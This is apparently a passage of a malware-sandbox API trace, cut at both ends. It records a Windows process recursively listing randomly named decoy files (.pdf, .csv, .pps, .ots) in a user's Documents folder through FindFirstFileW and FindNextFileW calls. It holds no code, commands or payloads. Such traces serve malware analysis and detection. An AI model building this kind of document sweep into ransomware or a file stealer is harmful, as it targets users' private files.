psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", len=0x4b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots") returned 1 [0166.011] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots") returned 1 [0166.011] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b4f1920, ftCreationTime.dwHighDateTime=0x1d5def2, ftLastAccessTime.dwLowDateTime=0xfa47d170, ftLastAccessTime.dwHighDateTime=0x1d5e21c, ftLastWriteTime.dwLowDateTime=0xfa47d170, ftLastWriteTime.dwHighDateTime=0x1d5e21c, nFileSizeHigh=0x0, nFileSizeLow=0x13e42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ypiWd.ots", cAlternateFileName="")) returned 0 [0166.012] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0166.012] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0166.012] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0166.012] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0166.012] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0166.012] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0166.012] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0166.012] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", len=0x40 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6") returned 1 [0166.012] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", len=0x42 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*") returned 1 [0166.012] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", len=0x42 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*") returned 1 [0166.013] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", len=0x42 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*") returned 1 [0166.013] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", len=0x42 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*") returned 1 [0166.013] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", len=0x42 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*") returned 1 [0166.013] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", len=0x42 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*") returned 1 [0166.013] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", len=0x42 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*") returned 1 [0166.013] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb18488e0, ftCreationTime.dwHighDateTime=0x1d5e6c0, ftLastAccessTime.dwLowDateTime=0x85e8ceb0, ftLastAccessTime.dwHighDateTime=0x1d5d8a8, ftLastWriteTime.dwLowDateTime=0x85e8ceb0, ftLastWriteTime.dwHighDateTime=0x1d5d8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0166.013] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", len=0x42 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.") returned 1 [0166.013] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", len=0x42 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.") returned 1 [0166.013] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", len=0x42 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", len=0x42 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", len=0x42 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", len=0x42 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", len=0x42 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.") returned 1 [0166.014] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb18488e0, ftCreationTime.dwHighDateTime=0x1d5e6c0, ftLastAccessTime.dwLowDateTime=0x85e8ceb0, ftLastAccessTime.dwHighDateTime=0x1d5d8a8, ftLastWriteTime.dwLowDateTime=0x85e8ceb0, ftLastWriteTime.dwHighDateTime=0x1d5d8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", len=0x43 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", len=0x43 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", len=0x43 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..") returned 1 [0166.014] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..") returned 1 [0166.014] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a45ce0, ftCreationTime.dwHighDateTime=0x1d5db4d, ftLastAccessTime.dwLowDateTime=0xdfb7a870, ftLastAccessTime.dwHighDateTime=0x1d5da4d, ftLastWriteTime.dwLowDateTime=0xdfb7a870, ftLastWriteTime.dwHighDateTime=0x1d5da4d, nFileSizeHigh=0x0, nFileSizeLow=0x9bf9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jNTqBzWYWpBb.pdf", cAlternateFileName="JNTQBZ~1.PDF")) returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", len=0x51 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", len=0x51 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", len=0x51 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", len=0x51 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", len=0x51 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", len=0x51 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", len=0x51 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf") returned 1 [0166.015] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88471520, ftCreationTime.dwHighDateTime=0x1d5d918, ftLastAccessTime.dwLowDateTime=0x483beb20, ftLastAccessTime.dwHighDateTime=0x1d5de1a, ftLastWriteTime.dwLowDateTime=0x483beb20, ftLastWriteTime.dwHighDateTime=0x1d5de1a, nFileSizeHigh=0x0, nFileSizeLow=0x697e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kcfdhSsvuo0DcvY.csv", cAlternateFileName="KCFDHS~1.CSV")) returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\jNTqBzWYWpBb.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", len=0x54 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", len=0x54 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", len=0x54 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", len=0x54 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", len=0x54 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", len=0x54 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv") returned 1 [0166.015] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", len=0x54 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv") returned 1 [0166.015] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5672f4c0, ftCreationTime.dwHighDateTime=0x1d5db3d, ftLastAccessTime.dwLowDateTime=0xd41c3a0, ftLastAccessTime.dwHighDateTime=0x1d5e25c, ftLastWriteTime.dwLowDateTime=0xd41c3a0, ftLastWriteTime.dwHighDateTime=0x1d5e25c, nFileSizeHigh=0x0, nFileSizeLow=0x15750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="o4gFojPoTW9u0.pps", cAlternateFileName="O4GFOJ~1.PPS")) returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\kcfdhSsvuo0DcvY.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", len=0x52 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", len=0x52 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", len=0x52 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", len=0x52 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", len=0x52 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", len=0x52 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", len=0x52 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps") returned 1 [0166.016] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86da1db0, ftCreationTime.dwHighDateTime=0x1d5e447, ftLastAccessTime.dwLowDateTime=0x1b51c910, ftLastAccessTime.dwHighDateTime=0x1d5e3b8, ftLastWriteTime.dwLowDateTime=0x1b51c910, 